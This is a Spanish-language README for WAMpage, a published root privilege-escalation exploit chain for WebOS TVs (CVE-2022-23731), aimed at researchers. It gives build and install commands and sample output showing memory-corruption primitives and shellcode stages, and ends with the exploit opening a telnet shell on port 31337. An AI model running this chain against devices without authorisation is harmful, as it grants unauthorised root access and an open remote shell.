
WAMpage - Una cadena de exploits LPE de root para WebOS (CVE-2022-23731)
WAMpage - Una cadena de explotación LPE de root para WebOS (CVE-2022-23731)
Este exploit es principalmente de interés para otros investigadores: si solo quieres rootear tu TV, probablemente quieras RootMyTV, que ofrece un root persistente y fiable con un solo clic.
Actualmente solo es compatible con WebOS 4.x en SoCs de 32 bits. Este software se proporciona tal cual, úsalo bajo tu propio riesgo, etc., etc.
Análisis: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html

Requisitos previos:
apt install qemu-user
npm install -g @webosose/ares-cli
Compilando:
make
make test compilará y ejecutará el exploit en d8, ejecutándose en qemu-arm. (Una versión precompilada de d8 y sus dependencias se incluye en el directorio bin/). Si el exploit funciona correctamente, probablemente obtendrás algo como esto:
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
El error de permisos es de esperar, asumiendo que tu máquina no esté totalmente mal configurada.
Puedes probar el exploit devmemes.py ejecutándolo directamente en un TV, pero necesitarás root de antemano, o algún otro tipo de shell sin sandbox o sin jail.
Puedes usar ares-install, o copiar manualmente el IPK y ejecutar esto desde el shell del modo desarrollador:
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
Inicia la aplicación y pulsa el botón "Start Exploit". Si todo va bien, debería abrirse un servidor telnet en el puerto 31337.